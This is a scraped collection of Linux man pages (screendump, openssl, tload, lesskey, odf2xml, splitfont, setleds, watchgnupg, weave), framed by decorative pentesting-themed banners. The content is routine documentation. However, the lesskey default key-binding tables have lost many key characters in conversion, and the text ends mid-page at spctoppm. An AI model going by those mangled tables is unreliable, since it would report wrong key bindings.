░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

144 - Linux cli command screendump

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command screendump and provides detailed information about the command screendump, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the screendump.

NAME 🖥️ screendump 🖥️

dump the contents of a virtual console to stdout

SYNOPSIS

screendump [ N ]

DESCRIPTION

The screendump command dumps the contents of virtual console N , (or the current console if N is omitted) to standard out.

Just saying

cat /dev/vcsN

has a similar effect.

NOTES

For security reasons, screendump uses linux devices “virtual console screen” and “virtual console screen with attributes” to give access for screendump.

Ensure these files exist, using

cd /dev for i in 0 1 2 3 …; do
mknod vcs$i c 7 $i
mknod vcsa$i c 7 `expr 128 + $i`
done

(filling in the ellipses) and give the device files appropriate permissions, or run screendump as root.

SEE ALSO

setterm(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

145 - Linux cli command speedssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command speedssl and provides detailed information about the command speedssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the speedssl.

NAME 🖥️ speedssl 🖥️

OpenSSL application commands

SYNOPSIS

openssl cmd -help | [-option | -option arg] … [arg] …

DESCRIPTION

Every cmd listed above is a (sub-)command of the openssl (1) application. It has its own detailed manual page at **openssl-**cmd(1). For example, to view the manual page for the openssl dgst command, type man openssl-dgst.

OPTIONS

Among others, every subcommand has a help option.

-help
Print out a usage message for the subcommand.

SEE ALSO

openssl (1), openssl-asn1parse (1), openssl-ca (1), openssl-ciphers (1), openssl-cmp (1), openssl-cms (1), openssl-crl (1), openssl-crl2pkcs7 (1), openssl-dgst (1), openssl-dhparam (1), openssl-dsa (1), openssl-dsaparam (1), openssl-ec (1), openssl-ecparam (1), openssl-enc (1), openssl-engine (1), openssl-errstr (1), openssl-gendsa (1), openssl-genpkey (1), openssl-genrsa (1), openssl-info (1), openssl-kdf (1), openssl-mac (1), openssl-nseq (1), openssl-ocsp (1), openssl-passwd (1), openssl-pkcs12 (1), openssl-pkcs7 (1), openssl-pkcs8 (1), openssl-pkey (1), openssl-pkeyparam (1), openssl-pkeyutl (1), openssl-prime (1), openssl-rand (1), openssl-rehash (1), openssl-req (1), openssl-rsa (1), openssl-rsautl (1), openssl-s_client (1), openssl-s_server (1), openssl-s_time (1), openssl-sess_id (1), openssl-smime (1), openssl-speed (1), openssl-spkac (1), openssl-srp (1), openssl-storeutl (1), openssl-ts (1), openssl-verify (1), openssl-version (1), openssl-x509 (1),

HISTORY

Initially, the manual page entry for the openssl cmd command used to be available at cmd(1). Later, the alias **openssl-**cmd(1) was introduced, which made it easier to group the openssl commands using the apropos (1) command or the shell’s tab completion.

In order to reduce cluttering of the global manual page namespace, the manual page entries without the ‘openssl-’ prefix have been deprecated in OpenSSL 3.0 and will be removed in OpenSSL 4.0.

COPYRIGHT

Copyright 2019-2020 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

146 - Linux cli command tload

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tload and provides detailed information about the command tload, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tload.

NAME 🖥️ tload 🖥️

graphic representation of system load average

SYNOPSIS

tload [options] [tty]

DESCRIPTION

tload prints a graph of the current system load average to the specified tty (or the tty of the tload process if none is specified).

OPTIONS

-s, –scale number
The scale option allows a vertical scale to be specified for the display (in characters between graph ticks); thus, a smaller value represents a larger scale, and vice versa.

-d, –delay seconds
The delay sets the delay between graph updates in seconds.

-h, –help
Display this help text.

-V, –version
Display version information and exit.

FILES

/proc/loadavg load average information

SEE ALSO

ps(1), top(1), uptime(1), w(1)

BUGS

The -d* delay* option sets the time argument for an alarm(2); if -d 0 is specified, the alarm is set to 0, which will never send the SIGALRM and update the display.

AUTHORS

Branko Lankester, David Engel, Michael K. Johnson.

REPORTING BUGS

Please send bug reports to

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

147 - Linux cli command lesskey

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command lesskey and provides detailed information about the command lesskey, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the lesskey.

NAME 🖥️ lesskey 🖥️

customize key bindings for less

SYNOPSIS (deprecated)

lesskey [-o output] [–] [input]
lesskey [–output=output] [–] [input]
lesskey -V
lesskey –version

SCOPE

This document describes the format of the lesskey source file, which is used by less version 582 and later. In previous versions of less, a separate program called lesskey was used to compile the lesskey source file into a format understood by less. This compilation step is no longer required and the lesskey program is therefore deprecated, although the file format remains supported by less itself.

DESCRIPTION

A lesskey file specifies a set of key bindings and environment variables to be used by subsequent invocations of less.

FILE FORMAT

The input file consists of one or more sections. Each section starts with a line that identifies the type of section. Possible sections are:

#command
Customizes command key bindings.

#line-edit
Customizes line-editing key bindings.

#env
Defines environment variables.

Blank lines and lines which start with a hash mark (#) are ignored, except as noted below.

COMMAND SECTION

The command section begins with the line

#command

If the command section is the first section in the file, this line may be omitted. The command section consists of lines of the form:

string <whitespace> action [extra-string] <newline>

Whitespace is any sequence of one or more spaces and/or tabs. The string is the command key(s) which invoke the action. The string may be a single command key, or a sequence of up to 15 keys. The action is the name of the less action, from the list below. The characters in the string may appear literally, or be prefixed by a caret to indicate a control key. A backslash followed by one to three octal digits may be used to specify a character by its octal value. A backslash followed by certain characters specifies input characters as follows:

>>>>>>>>>>>>>>>
BACKSPACE(0x08)
ESCAPE(0x1B)
NEWLINE(0x0A)
RETURN(0x0D)
TAB(0x09)
> > \k followed by a single character represents the char(s) produced when one of these keys is pressed: > >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
\kbBACKSPACE (the BACKSPACE key)
\kBctrl-BACKSPACE
\kdDOWN ARROW
\kDPAGE DOWN
\keEND
\khHOME
\kiINSERT
\klLEFT ARROW
\kLctrl-LEFT ARROW
\krRIGHT ARROW
\kRctrl-RIGHT ARROW
\ktBACKTAB
\kuUP ARROW
\kUPAGE UP
\kxDELETE
\kXctrl-DELETE
\k1F1
> > A backslash followed by any other character indicates that character is to be taken literally. Characters which must be preceded by backslash include caret, space, tab, hash mark and the backslash itself. > > An action may be followed by an "extra" string. When such a command is entered while running **less**, the action is performed, and then the extra string is parsed, just as if it were typed in to **less**. This feature can be used in certain cases to extend the functionality of a command. For example, see the "{" and ":t" commands in the example below. The extra string has a special meaning for the "quit" action: when **less** quits, the first character of the extra string is used as its exit status.

EXAMPLE

The following input file describes the set of default command keys used by less. Documentation on each command can be found in the

man page, under the key sequence which invokes the command.

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
#command
forw-line
forw-line
eforw-line
jforw-line
\kdforw-line
^Eforw-line
^Nforw-line
kback-line
yback-line
^Yback-line
^Kback-line
^Pback-line
Jforw-line-force
Kback-line-force
Yback-line-force
dforw-scroll
^Dforw-scroll
uback-scroll
^Uback-scroll
\40forw-screen
fforw-screen
^Fforw-screen
^Vforw-screen
\kDforw-screen
bback-screen
^Bback-screen
vback-screen
\kUback-screen
zforw-window
wback-window
\40forw-screen-force
Fforw-forever
Fforw-until-hilite
Rrepaint-flush
rrepaint
^Rrepaint
^Lrepaint
uundo-hilite
Uclear-search
ggoto-line
\khgoto-line
<goto-line
<goto-line
ppercent
%percent
eft-scroll
]right-scroll
(left-scroll
)right-scroll
\klleft-scroll
\krright-scroll
{no-scroll
}end-scroll
{forw-bracket {}
}back-bracket {}
(forw-bracket ()
)back-bracket ()
[forw-bracket []
]back-bracket []
^Fforw-bracket
^Bback-bracket
Ggoto-end
>goto-end
>goto-end
\kegoto-end
Ggoto-end-buffered
=status
^Gstatus
:fstatus
/forw-search
?back-search
/forw-search *
?back-search *
nrepeat-search
nrepeat-search-all
Nreverse-search
Nreverse-search-all
&filter
mset-mark
Mset-mark-bottom
mclear-mark
goto-mark
^X^Xgoto-mark
Eexamine
:eexamine
^X^Vexamine
:nnext-file
:pprev-file
tnext-tag
Tprev-tag
:xindex-file
:dremove-file
-toggle-option
:ttoggle-option t
stoggle-option o
## Use a long option name by starting the
## extra string with ONE dash; eg:
## s toggle-option -log-file
_display-option
|pipe
vvisual
!shell
#pshell
+firstcmd
Hhelp
hhelp
Vversion
0digit
1digit
2digit
3digit
4digit
5digit
6digit
7digit
8digit
9digit
qquit
Qquit
:qquit
:Qquit
ZZquit

PRECEDENCE

Commands specified by lesskey take precedence over the default commands. A default command key may be disabled by including it in the input file with the action “invalid”. Alternatively, a key may be defined to do nothing by using the action “noaction”. “noaction” is similar to “invalid”, but less will give an error beep for an “invalid” command, but not for a “noaction” command. In addition, ALL default commands may be disabled by adding this control line to the input file:

#stop

This will cause all default commands to be ignored. The #stop line should be the last line in that section of the file.

Be aware that #stop can be dangerous. Since all default commands are disabled, you must provide sufficient commands before the #stop line to enable all necessary actions. For example, failure to provide a “quit” command can lead to frustration.

LINE EDITING SECTION

The line-editing section begins with the line:

#line-edit

This section specifies new key bindings for the line editing commands, in a manner similar to the way key bindings for ordinary commands are specified in the #command section. The line-editing section consists of a list of keys and actions, one per line as in the example below.

EXAMPLE

The following input file describes the set of default line-editing keys used by less:

#line-edit
forw-complete
\17back-complete
back-complete
^Lexpand
^Vliteral
^Aliteral
lright
\krright
hleft
\klleft
bword-left
\klword-left
wword-right
\krword-right
iinsert
xdelete
\kxdelete
Xword-delete
kxword-delete
word-backspace
0home
\khhome
$end
\keend
kup
\kuup
jdown
^Gabort

LESS ENVIRONMENT VARIABLES

The environment variable section begins with the line

#env

Following this line is a list of environment variable assignments. Each line consists of an environment variable name, an equals sign (=) and the value to be assigned to the environment variable. White space before and after the equals sign is ignored. Variables assigned in this way are visible only to less. If a variable is specified in the system environment and also in a lesskey file, the value in the lesskey file takes precedence.

If the variable name is followed by += rather than =, the string is appended to the variable’s existing value. This currently works only if any += lines immediately follow the same variable’s original definition (with an = line), without any intervening definitions of other variables. It can append only to a variable defined earlier in the file; it cannot append to a variable in the system environment. The string is appended literally, without any extra whitespace added, so if whitespace is desired, it should be appended to the end of the preceding line. (It cannot be added to the beginning of the += string because space after the equals sign is ignored, as noted above.)

CONDITIONAL CONFIGURATION

If a line begins with #version followed by a relational operator and a version number, the remainder of the line is parsed if and only if the running version of less (or lesskey) matches the operator. This can be helpful if a lesskey file is used by different versions of less.

For example, suppose that a new command named ‘sideways-search’ is added in less version 777. Then the following line would assign the command to the Q key, but only in versions of less which support it. The line would be ignored by versions earlier than 777.

	#version >= 777  Q sideways-search

These six operators are supported:

>Greater than
<Less than
>=Greater than or equal to
<=Less than or equal to
=Equal to
!=Not equal to

The #version feature is not supported in less and lesskey before version 594. In those older versions, all #version lines are ignored.

EXAMPLE

The following input file sets the -i and -S options when

is run and, on version 595 and higher, adds a –color option.

	#env
	## (Note that there must be a space at the end of the next line,
	##  to separate the --color option from the -S option.)
	LESS = -i -S 
	#version >= 595  LESS += --color=Hkc

SEE ALSO

less(1)

WARNINGS

On MS-DOS and OS/2 systems, certain keys send a sequence of characters which start with a NUL character (0). This NUL character should be represented as \340 in a lesskey file.

COPYRIGHT

Copyright (C) 1984-2023 Mark Nudelman

less is part of the GNU project and is free software. You can redistribute it and/or modify it under the terms of either (1) the GNU General Public License as published by the Free Software Foundation; or (2) the Less License. See the file README in the less distribution for more details regarding redistribution. You should have received a copy of the GNU General Public License along with the source for less; see the file COPYING. If not, write to the Free Software Foundation, 59 Temple Place, Suite 330, Boston, MA 02111-1307, USA. You should also have received a copy of the Less License; see the file LICENSE.

less is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

AUTHOR

Mark Nudelman
Report bugs at https://github.com/gwsw/less/issues.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

148 - Linux cli command odf2xml

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command odf2xml and provides detailed information about the command odf2xml, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the odf2xml.

NAME 🖥️ odf2xml 🖥️

Create OpenDocument XML file from OD? package

SYNOPSIS

odf2xml [-e] [-o outputfile] [inputfile]

DESCRIPTION

OpenDocument can be a complete office document in a single XML file. The script will take an OpenDocument and create an XML file This is mainly useful XML processors such as XSL transformation.

“Inputfile” is assumed to be an OpenDocument file. If there is no inputfile, the program will read from standard input.

OPTIONS

-e

Normally, images that are stored in the archive in the Pictures folder are ignored. Using the -e flag will embed the images in the XML as base64.

-o outputfile

If output file is not specified output will be to standard out.

EXAMPLE

odf2xml -o file.xml testdocument.odt

SEE ALSO

xml2odf(1)

BUGS

Doesnt handle external data – images and such.

AUTHOR

Søren Roug

Original author

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

149 - Linux cli command splitfont

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command splitfont and provides detailed information about the command splitfont, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the splitfont.

NAME 🖥️ splitfont 🖥️

extract characters from an ISO-type font.

SYNOPSIS

splitfont fontfile <character range>…

DESCRIPTION

The command splitfont removes characters from a given font file; it removes all the specified characters from the named font file.

This works for Linux console fonts, without PSF headers, and containing just 256 characters.

The character range is of the form

17,23-30,

SEE ALSO

setfont(8)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

150 - Linux cli command setleds

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command setleds and provides detailed information about the command setleds, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the setleds.

NAME 🖥️ setleds 🖥️

set the keyboard leds

SYNOPSIS

setleds [-v] [-L] [-D] [-F] [{+|-}num] [{+|-}caps] [{+|-}scroll]

DESCRIPTION

Setleds reports and changes the led flag settings of a VT (namely NumLock, CapsLock and ScrollLock). Without arguments, setleds prints the current settings. With arguments, it sets or clears the indicated flags (and leaves the others unchanged). The settings before and after the change are reported if the -v flag is given.

The led flag settings are specific for each VT (and the VT corresponding to stdin is used).

By default (or with option -F), setleds will only change the VT flags (and their setting may be reflected by the keyboard leds).

With option -D, setleds will change both the VT flags and their default settings (so that a subsequent reset will not undo the change). This might be useful for people who always want to have numlock set.

With option -L, setleds will not touch the VT flags, but only change the leds. From this moment on, the leds will no longer reflect the VT flags (but display whatever is put into them). The command setleds -L (without further arguments) will restore the situation in which the leds reflect the VT flags.

One might use setleds in /etc/rc to define the initial and default state of NumLock, e.g. by

INITTY=/dev/tty[1-8]
for tty in $INITTY; do

setleds -D +num < $tty

done

OPTIONS

-num +num
Clear or set NumLock. (At present, the NumLock setting influences the interpretation of keypad keys. Pressing the NumLock key complements the NumLock setting.)

-caps +caps
Clear or set CapsLock. (At present, the CapsLock setting complements the Shift key when applied to letters. Pressing the CapsLock key complements the CapsLock setting.)

-scroll +scroll
Clear or set ScrollLock. (At present, pressing the ScrollLock key (or ^S/^Q) stops/starts console output.)

BUGS

In keyboard application mode the NumLock key does not influence the NumLock flag setting.

SEE ALSO

loadkeys(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

151 - Linux cli command watchgnupg

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command watchgnupg and provides detailed information about the command watchgnupg, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the watchgnupg.

NAME 🖥️ watchgnupg 🖥️

Read and print logs from a socket

SYNOPSIS

watchgnupg [–force] [–verbose] socketname

DESCRIPTION

Most of the main utilities are able to write their log files to a Unix Domain socket if configured that way. watchgnupg is a simple listener for such a socket. It ameliorates the output with a time stamp and makes sure that long lines are not interspersed with log output from other utilities. This tool is not available for Windows.

watchgnupg is commonly invoked as

watchgnupg –force $(gpgconf –list-dirs socketdir)/S.log

OPTIONS

watchgnupg understands these options:

–force
Delete an already existing socket file.

–tcp n
Instead of reading from a local socket, listen for connects on TCP port n.

–time-only
Do not print the date part of the timestamp.

–verbose
Enable extra informational output.

–version
Print version of the program and exit.

–help
Display a brief help page and exit.

EXAMPLES

$ watchgnupg –force –time-only $(gpgconf –list-dirs socketdir)/S.log

This waits for connections on the local socket (e.g. ‘/home/foo/.gnupg/S.log’) and shows all log entries. To make this work the option log-file needs to be used with all modules which logs are to be shown. The suggested entry for the configuration files is:

log-file socket://

If the default socket as given above and returned by “echo $(gpgconf –list-dirs socketdir)/S.log” is not desired an arbitrary socket name can be specified, for example ‘socket:///home/foo/bar/mysocket’. For debugging purposes it is also possible to do remote logging. Take care if you use this feature because the information is send in the clear over the network. Use this syntax in the conf files:

log-file tcp://192.168.1.1:4711

You may use any port and not just 4711 as shown above; only IP addresses are supported (v4 and v6) and no host names. You need to start watchgnupg with the tcp option. Note that under Windows the registry entry HKCU\Software\GNU\GnuPG:DefaultLogFile can be used to change the default log output from stderr to whatever is given by that entry. However the only useful entry is a TCP name for remote debugging.

SEE ALSO

gpg(1), gpgsm(1), gpg-agent(1), scdaemon(1)

The full documentation for this tool is maintained as a Texinfo manual. If GnuPG and the info program are properly installed at your site, the command

info gnupg

should give you access to the complete manual including a menu structure and an index.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

152 - Linux cli command weave

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command weave and provides detailed information about the command weave, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the weave.

NAME 🖥️ weave 🖥️

translate WEB to TeX

SYNOPSIS

weave [-p] [-x] webfile[.web] [{changefile[.ch]|-} [outfile[.tex]]]

DESCRIPTION

This manual page is not meant to be exhaustive. The complete documentation for this version of TeX can be found in the info file or manual Web2C: A TeX implementation.

The weave program is used to create a TeX file for viewing a Web program. It takes appropriate care of typographic details like page layout and the use of indentation, italics, boldface, etc., and it supplies extensive cross-index information that it gathers automatically. The command line arguments are the same as for tangle except for the options: -p says to use alternative macros more suited for PDF output. -x says to omit the index, module name list, and table of contents pages. (A CONTENTS.tex file will still be written when the TeX file is processed, however, unless some macros in webmac.tex are redefined.)

The output TeX file name is formed by adding .tex to the root of the Web file name or from the third argument. In this case you can specify ‘-’ as an empty change file.

There are several macros that probably should be redefined by the programmer at the beginning of the Web file. It is a good idea to set itle to the name of the program. And, to cause output of only changed modules, one can say \let\maybe=\iffalse (usually as the first change in the change file).

ENVIRONMENT

The environment variable WEBINPUTS is used to search for the input files, or the system default if WEBINPUTS is not set. See tex(1) for the details of the searching.

FILES

$TEXMFMAIN/tex/plain/knuth-lib/webmac.tex
TeX macros used by weave output.

$TEXMFMAIN/tex/plain/pwebmac/pwebmac.tex
alternative TeX macros used for PDF output.

SEE ALSO

tangle(1) for references, authors, and other information.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

153 - Linux cli command spctoppm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command spctoppm and provides detailed information about the command spctoppm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the spctoppm.

.

NAME 🖥️ spctoppm 🖥️

convert an Atari compressed Spectrum file to a PPM

SYNOPSIS

